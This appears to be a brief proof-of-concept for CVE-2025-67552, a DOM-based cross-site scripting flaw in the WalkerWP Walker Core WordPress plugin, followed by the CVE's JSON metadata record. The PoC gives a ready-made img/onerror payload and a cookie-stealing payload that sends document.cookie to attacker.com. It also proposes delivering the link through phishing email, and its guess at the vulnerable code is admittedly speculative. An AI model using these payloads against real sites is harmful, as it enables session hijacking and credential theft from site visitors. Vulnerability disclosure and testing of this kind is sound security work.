CVE-2025-67552

// CVE-2025-67552 DOM-based XSS PoC // Target: WalkerWP Walker Core plugin <= 1.3.17 // Attack Vector: Malicious URL with XSS payload // Example malicious URL: // https://target-site.com/?parameter=<img src=x onerror=alert(document.cookie)> // The attacker would create a phishing email or page with this link const maliciousPayload = '<img src=x onerror=alert("XSS Triggered - CVE-2025-67552")>'; // When victim visits the page containing this payload in the vulnerable parameter, // the DOM parser will execute the onerror handler, executing the JavaScript code // More sophisticated payload for cookie stealing: const cookieStealPayload = '<img src=x onerror="fetch(`https://attacker.com/steal?c=${document.cookie}`)">'; // The vulnerable code likely looks something like: // document.getElementById('output').innerHTML = userInput; // No sanitization // This allows attacker to inject arbitrary HTML/JavaScript console.log('PoC for CVE-2025-67552: DOM-based XSS in Walker Core');

{"cve": {"id": "CVE-2025-67552", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:31.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WalkerWP Walker Core walker-core allows DOM-Based XSS.This issue affects Walker Core: from n/a through <= 1.3.17."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/walker-core/vulnerability/wordpress-walker-core-plugin-1-3-17-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}